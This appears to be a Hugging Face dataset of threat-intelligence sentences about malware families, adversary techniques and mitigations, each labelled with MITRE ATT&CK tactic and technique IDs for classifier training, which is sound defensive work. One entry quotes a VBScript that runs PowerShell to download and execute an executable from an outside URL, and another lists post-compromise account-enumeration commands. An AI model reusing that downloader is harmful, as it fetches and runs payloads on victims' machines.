madox81/Adema_ATTACK_DS huggingface dataset:
Input: AppleJeus has used a valid digital signature from Sectigo to appear legitimate.

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Use modern browsers with security features turned on.

Tactics: TA0001
Techniques: T1189
Input: AuditCred can delete files from the system.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Malware  Capabilities  WINDSHIELD   Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports – randomly-chosen C2/port for communications Registry manipulation Get the current module's file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly   KOMPROGO   Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system   SOUNDBITE   C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering   PHOREAL   C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload   BEACON (Cobalt Strike)   Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB    Table 3: APT32 Malware and Capabilities APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure

Tactics: TA0010
Techniques: T1041
Input: LiteDuke has the ability to check for the presence of Kaspersky security software.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: KillDisk has attempted to get the access token of a process by calling OpenProcessToken.

Tactics: TA0004, TA0005
Techniques: T1134
Input: Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.

Tactics: TA0007
Techniques: T1614
Input: Zebrocy uses cmd.exe to execute commands on the system.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: The addition of the MiniNT registry key disables Event Viewer.

Tactics: TA0005
Techniques: T1562.002, T1562
Input: Pupy can be used to establish persistence using a systemd service.

Tactics: TA0003, TA0004
Techniques: T1543.002, T1543
Input: Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.

Tactics: TA0005
Techniques: T1014
Input: Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings ( Domain Policy Modification) for their benefit.

Tactics: TA0007
Techniques: T1615
Input: WindowsDefender.ini – The Base64 encoded and obfuscated PowerShell script

Tactics: TA0005
Techniques: T1027
Input: The “VPN Client” is a legitimate Juniper VPN software bundled with Helminth,  a malware in use by the OilRig threat agnet: JuniperSetupClientInstaller.exe 6a65d762fb548d2dc56cfde4842a4d3c (VirusTotal link) If the victim downloads and installs the file, their computer would get infected, while the legitimate VPN software is installed

Tactics: TA0005
Techniques: T1036
Input: Adversaries may abuse Microsoft transport agents to establish persistent access to systems.

Tactics: TA0003
Techniques: T1505.002, T1505
Input: Adversaries may use new payloads to execute this technique.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.006, T1574
Input: CHOPSTICK is capable of performing remote file transmission.

Tactics: TA0011
Techniques: T1105
Input: VERMIN collects the OS name, machine name, and architecture information.

Tactics: TA0007
Techniques: T1082
Input: Remsec can obtain information about the current user.

Tactics: TA0007
Techniques: T1033
Input: TYPEFRAME can execute commands using a shell.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Prikormka encrypts some C2 traffic with the Blowfish cipher.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Binaries that have these bits set may then be abused by adversaries.

Tactics: TA0004, TA0005
Techniques: T1548, T1548.001
Input: BLINDINGCAN has loaded and executed DLLs in memory during runtime on a victim machine.

Tactics: TA0002
Techniques: T1129
Input: AppleSeed has exfiltrated files using web services.

Tactics: TA0010
Techniques: T1567
Input: Cyclops Blink has used Tor nodes for C2 traffic.

Tactics: TA0011
Techniques: T1090.003, T1090
Input: Adversaries can collect or forward email from mail servers or clients.

Tactics: TA0009
Techniques: T1114
Input: Sidewinder has used base64 encoding and ECDH-P256 encryption for scripts and files.

Tactics: TA0005
Techniques: T1027
Input: GALLIUM used netstat -oan to obtain information about the victim network connections.

Tactics: TA0007
Techniques: T1049
Input: Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.

Tactics: TA0040
Techniques: T1489
Input: DarkComet can load any files onto the infected machine to execute.

Tactics: TA0011
Techniques: T1105
Input: ZeroT has used DLL side-loading to load malicious payloads.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: TEARDROP modified the Registry to create a Windows service for itself on a compromised host.

Tactics: TA0005
Techniques: T1112
Input: AutoIt backdoor is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.

Tactics: TA0007
Techniques: T1083
Input: The VBScript has a SHA256 has of 649e3922ec53d5b195ed23aac08148faeb561f47e891b1e6ff60a2a9df4fea17, which calls two PowerShell commands to download and execute a payload and downloading and opening of a decoy document

Tactics: TA0002
Techniques: T1059.001, T1059
Input: zwShell can launch command-line shells.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Final1stspy obtains a list of running processes.

Tactics: TA0007
Techniques: T1057
Input: Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Tactics: TA0042
Techniques: T1586.001, T1586
Input: MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins.

Tactics: TA0005
Techniques: T1218, T1218.014
Input: Cardinal RAT can capture screenshots.

Tactics: TA0009
Techniques: T1113
Input: Close out all browser sessions when finished using them to prevent any potentially malicious extensions from continuing to run.

Tactics: TA0003
Techniques: T1176
Input: Carbanak has named malware "svchost.exe," which is the name of the Windows shared service host program.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set

Tactics: TA0007
Techniques: T1124
Input: GreyEnergy modifies conditions in the Registry and adds keys.

Tactics: TA0005
Techniques: T1112
Input: XCSSET adds malicious code to a host's Xcode projects by enumerating CocoaPods target_integrator.rb files under the /Library/Ruby/Gems folder or enumerates all .xcodeproj folders under a given directory.

Tactics: TA0001
Techniques: T1195.001, T1195
Input: As such, these protocols are classified as Asymmetric Cryptography.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Grandoreiro can send data it retrieves to the C2 server.

Tactics: TA0010
Techniques: T1041
Input: Egregor has used tools to gather information about users.

Tactics: TA0007
Techniques: T1033
Input: PlugX has a module for capturing keystrokes per process including window titles.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Ursnif has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers.

Tactics: TA0006, TA0009
Techniques: T1056.004, T1056
Input: Monitor and analyze application programming interface (API) calls that are indicative of Registry edits, such as RegCreateKeyEx and RegSetValueEx.

Tactics: TA0003, TA0004
Techniques: T1546.009, T1546
Input: SDBbot has the ability to access the file system on a compromised host.

Tactics: TA0009
Techniques: T1005
Input: This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell.

Tactics: TA0006, TA0009
Techniques: T1056.002, T1056
Input: For example, a compromised login page may log provided user credentials before logging the user in to the service.

Tactics: TA0006, TA0009
Techniques: T1056.003, T1056
Input: Bytes are rotated by four positions and XOR'ed with 0x23.

Tactics: TA0009
Techniques: T1560.003, T1560
Input: CVE-2017-11882: Microsoft Office Stack Memory Corruption Vulnerability CVE-2017-11882 affects several versions of Microsoft Office and, when exploited, allows a remote user to run arbitrary code in the context of the current user as a result of improperly handling objects in memory

Tactics: TA0002
Techniques: T1203
Input: Matryoshka can establish persistence by adding Registry Run keys.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Daserf uses RC4 encryption to obfuscate HTTP traffic.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Pillowmint has used a PowerShell script to install a shim database.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Sales of modified/counterfeit products to legitimate distributors

Tactics: TA0001
Techniques: T1195
Input: Monitor executed commands and arguments that may steal data by exfiltrating it over an existing command and control channel.

Tactics: TA0010
Techniques: T1041
Input: Restrict software installation to user groups that require it.

Tactics: TA0008
Techniques: T1021.005, T1021
Input: The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

Tactics: TA0011
Techniques: T1104
Input: Ryuk can remotely create a scheduled task to execute itself on a system.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: Monitor for changes made to firewall rules for unexpected modifications to allow/block specific network traffic that may attempt to hide artifacts associated with their behaviors to evade detection.

Tactics: TA0005
Techniques: T1564
Input: FIN7 has used malicious links to lure victims into downloading malware.

Tactics: TA0002
Techniques: T1204, T1204.001
Input: MuddyWater has used CMSTP.exe and a malicious INF to execute its POWERSTATS payload.

Tactics: TA0005
Techniques: T1218, T1218.003
Input: Lucifer can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: Note: many legitimate tools and applications utilize WMI for command execution.

Tactics: TA0002
Techniques: T1047
Input: RedLeaves can obtain information about the logged on user both locally and for Remote Desktop sessions.

Tactics: TA0007
Techniques: T1033
Input: Denylist scripting where appropriate.

Tactics: TA0002
Techniques: T1059.007, T1059
Input: Bad Rabbit drops a file named infpub.datinto the Windows directory and is executed through SCManager and rundll.exe.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Adversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform Dynamic-link Library Injection and may therefore be monitored to alert malicious activity.

Tactics: TA0005
Techniques: T1218, T1218.013
Input: gh0st RAT is able to wipe event logs.

Tactics: TA0005
Techniques: T1070, T1070.001
Input: Dust Storm has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.

Tactics: TA0005
Techniques: T1027
Input: Avenger has the ability to decrypt files downloaded from C2.

Tactics: TA0005
Techniques: T1140
Input: QuasarRAT has a command to gather system information from the victim’s machine.

Tactics: TA0007
Techniques: T1082
Input: In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: Silent Librarian has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page.

Tactics: TA0043
Techniques: T1598, T1598.003
Input: Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server

Tactics: TA0011
Techniques: T1071
Input: Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Proxysvc can delete files indicated by the attacker and remove itself from disk using a batch file.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Conficker variants used the Windows AUTORUN feature to spread through USB propagation.

Tactics: TA0001, TA0008
Techniques: T1091
Input: An adversary who finds a program vulnerable to search order hijacking (, a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.008, T1574
Input: Cadelspy has the ability to compress stolen data into a .cab file.

Tactics: TA0009
Techniques: T1560
Input: QakBot can target and steal locally stored emails to support thread hijacking phishing campaigns.

Tactics: TA0009
Techniques: T1114, T1114.001
Input: SysUpdate can use a Registry Run key to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.

Tactics: TA0003, TA0004
Techniques: T1037, T1037.005
Input: PolyglotDuke has has used HTTP GET requests in C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Consider disabling updating the ARP cache on gratuitous ARP replies.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.002
Input: Some strings in HOMEFRY are obfuscated with XOR x56.

Tactics: TA0005
Techniques: T1027
Input: Exaramel for Linux can decrypt its configuration file.

Tactics: TA0005
Techniques: T1140
Input: T9000 searches through connected drives for removable storage devices.

Tactics: TA0007
Techniques: T1120
Input: The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users’ system to download the below payload:     function runmumaa()     On Error Resume Next     set shell=createobject("Shell.Application")     shell.ShellExecute "powershell.exe","-NoLogo -NoProfile                 -NonInteractive -WindowStyle Hidden ( New-Object                         “System.Net.WebClient”).DownloadFile(“http://www.playboysplus.com        /install/install.exe”,”install.exe”);Invoke-Item install.exe", "",         "open", 1     end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project

Tactics: TA0004, TA0005
Techniques: T1036, T1055.012, T1068, T1055
Input: admin@338 actors used the following commands following exploitation of a machine with LOWBALL malware to enumerate user accounts: net user >> %temp%\download net user /domain >> %temp%\download

Tactics: TA0007
Techniques: T1087, T1087.001
Input: Common client software types are SSH clients, FTP clients, email clients, and web browsers.

Tactics: TA0003
Techniques: T1554
Input: BoomBox can check its current working directory and for the presence of a specific file and terminate if specific values are not found.

Tactics: TA0005
Techniques: T1480
Input: Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

Tactics: TA0010
Techniques: T1537
Input: Gelsemium can bypass UAC to elevate process privileges on a compromised host.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: GoldMax has RSA-encrypted its communication with the C2 server.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: During its initial execution, BACKSPACE extracts operating system information from the infected host.

Tactics: TA0007
Techniques: T1082
Input: PipeMon can inject its modules into various processes using reflective DLL loading.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: Carbanak obtains Windows logon password details.

Tactics: TA0006
Techniques: T1003
Input: Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.010, T1574.005, T1574
Input: InvisiMole has attempted to disguise itself by registering under a seemingly legitimate service name.

Tactics: TA0005
Techniques: T1036.004, T1036
Input: SysUpdate can encrypt and encode its configuration file.

Tactics: TA0005
Techniques: T1027
Input: Hildegard was executed through an unsecure kubelet that allowed anonymous access to the victim environment.

Tactics: TA0001, TA0003
Techniques: T1133
Input: Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.

Tactics: TA0005, TA0008
Techniques: T1550.002, T1550
Input: Mis-Type network traffic can communicate over HTTP.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: APT39 has used malware to drop encrypted CAB files.

Tactics: TA0005
Techniques: T1027
Input: Thrip has used WinSCP to exfiltrate data from a targeted organization over FTP.

Tactics: TA0010
Techniques: T1048.003, T1048
Input: Green Lambert can add Login Items to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.015
Input: Honeybee has batch files that modify the system service COMSysApp to load a malicious DLL.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Darkhotel malware has employed just-in-time decryption of strings to evade sandbox detection.

Tactics: TA0005, TA0007
Techniques: T1497
Input: Cannon can obtain a list of processes running on the system.

Tactics: TA0007
Techniques: T1057
Input: BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).

Tactics: TA0003, TA0005
Techniques: T1197
Input: This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable.

Tactics: TA0004
Techniques: T1068
Input: These require the user to open the document or file for the exploit to run.

Tactics: TA0002
Techniques: T1203
Input: OSInfo enumerates local and domain users

Tactics: TA0007
Techniques: T1087.002, T1087, T1087.001
Input: Knowledge of a vulnerability may cause an adversary to search for an existing exploit ( Exploits) or to attempt to develop one themselves ( Exploits).

Tactics: TA0042
Techniques: T1588.006, T1588
Input: Kazuar gathers information on local groups and members on the victim’s machine.

Tactics: TA0007
Techniques: T1087, T1087.001
Input: Monitor newly executed processes that may search for common password storage locations to obtain user credentials.

Tactics: TA0006
Techniques: T1555
Input: When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before Rundll32 is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl).

Tactics: TA0005
Techniques: T1218, T1218.002
Input: Enable advanced auditing on AD FS.

Tactics: TA0006
Techniques: T1606, T1606.002
Input: Adversaries may install malicious components to extend and abuse server applications.

Tactics: TA0003
Techniques: T1505
Input: EnvyScout can collect sensitive NTLM material from a compromised host.

Tactics: TA0009
Techniques: T1005
Input: A 2016 Novetta report detailed the work of security vendors attempting to unveil tools and infrastructure related to the 2014 destructive attack against Sony Pictures Entertainment

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Threat Group-3390 has used RAR to compress, encrypt, and password-protect files prior to exfiltration.

Tactics: TA0009
Techniques: T1560.002, T1560
Input: It also securely removes itself after collecting and exfiltrating data.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Pisloader has a command to collect the victim's IP address.

Tactics: TA0007
Techniques: T1016
Input: TSCookie has been executed via malicious links embedded in e-mails spoofing the Ministries of Education, Culture, Sports, Science and Technology of Japan.

Tactics: TA0002
Techniques: T1204, T1204.001
Input: Machete has used pyobfuscate, zlib compression, and base64 encoding for obfuscation.

Tactics: TA0005
Techniques: T1027
Input: ROKRAT can use a variety of API calls to execute shellcode.

Tactics: TA0002
Techniques: T1106
Input: Note: Cached credentials for Windows Vista are derived using PBKDF2.

Tactics: TA0006
Techniques: T1003, T1003.005
Input: Crimson contains a command to list processes.

Tactics: TA0007
Techniques: T1057
Input: Emotet has used WMI to execute powershell.exe.

Tactics: TA0002
Techniques: T1047
Input: Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation.

Tactics: TA0001, TA0002
Techniques: T1189, T1203
Input: CORESHELL collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.

Tactics: TA0007
Techniques: T1082
Input: CSPY Downloader has come signed with revoked certificates.

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Network intrusion prevention systems and systems designed to scan and remove malicious email attachments or links can be used to block activity.

Tactics: TA0001
Techniques: T1566
Input: The RunAtLoad key will command launchd to run the daemon when the operating system starts up, while the KeepAlive key will command launchd to let the process run indefinitely

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Using the machine's local time, XCSSET waits 43200 seconds (12 hours) from the initial creation timestamp of a specific file, .report.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.003